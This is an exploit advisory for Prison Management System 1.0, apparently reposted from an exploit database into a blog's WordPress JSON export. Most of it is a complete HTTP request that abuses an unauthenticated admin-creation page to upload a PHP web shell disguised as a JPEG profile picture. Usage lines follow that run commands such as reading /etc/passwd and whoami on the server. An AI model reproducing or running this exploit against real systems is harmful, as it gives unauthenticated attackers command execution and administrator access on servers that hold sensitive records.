# Exploit Title: Prison Management System 1.0 – Unuthenticated RCE
# Date: 24.07.2024
# Exploit Author: Muhammet Ali Dak
# Vendor Homepage: https:\/\/www.sourcecodester.com\/sql\/17287\/prison-management-system.html
# Software Link: https:\/\/www.sourcecodester.com\/download-code?nid=17287&title=Prison+Management+System+Using+PHP
# Version: 1.0
# Tested on: Linux<\/p>\n
## Unauthenticated users can access \/Admin\/add-admin.php address and they can upload malicious php file by changing Content-Type to image\/jpeg instead of profile picture image without any authentication. <\/p>\n
POST \/Admin\/add-admin.php HTTP\/1.1
Host: 192.168.60.131
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko\/20100101 Firefox\/128.0
Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/png,image\/svg+xml,*\/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart\/form-data; boundary=—————————84806108511207628902669766678
Content-Length: 1055
Origin: http:\/\/192.168.60.131
Connection: keep-alive
Referer: http:\/\/192.168.60.131\/Admin\/add-admin.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i<\/p>\n
—————————–84806108511207628902669766678
Content-Disposition: form-data; name=”txtusername”<\/p>\n
yuznumara
—————————–84806108511207628902669766678
Content-Disposition: form-data; name=”txtfullname”<\/p>\n
yuznumara
—————————–84806108511207628902669766678
Content-Disposition: form-data; name=”txtpassword”<\/p>\n
yuznumara123
—————————–84806108511207628902669766678
Content-Disposition: form-data; name=”txtphone”<\/p>\n
55353535353
—————————–84806108511207628902669766678
Content-Disposition: form-data; name=”avatar”; filename=”cmd.php”
Content-Type: image\/jpeg<\/p>\n
<?php<\/p>\n
if(isset($_REQUEST[‘cmd’])){
echo “<pre>”;
$cmd = ($_REQUEST[‘cmd’]);
system($cmd);
echo “<\/pre>”;
die;
}<\/p>\n
?><\/p>\n
Usage: http:\/\/target.com\/simple-backdoor.php?cmd=cat+\/etc\/passwd
—————————–84806108511207628902669766678
Content-Disposition: form-data; name=”btncreate”<\/p>\n
—————————–84806108511207628902669766678–<\/p>\n
## Malicious file can be seen under the path \/uploadImage\/Profile\/ without any authentication.<\/p>\n
## With the request http:\/\/192.168.60.131\/uploadImage\/Profile\/cmd.php?cmd=whoami the attacker can execute arbitrary command on the application server.<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Prison Management System 1.0 – Unuthenticated RCE# Date: 24.07.2024# Exploit Author: Muhammet Ali Dak# Vendor Homepage: https:\/\/www.sourcecodester.com\/sql\/17287\/prison-management-system.html# Software Link: https:\/\/www.sourcecodester.com\/download-code?nid=17287&title=Prison+Management+System+Using+PHP# Version: 1.0# Tested on: Linux ## Unauthenticated users can access \/Admin\/add-admin.php address and they can upload malicious php file by changing Content-Type to image\/jpeg instead of profile picture image without any authentication. …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58455","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58455"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58455\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}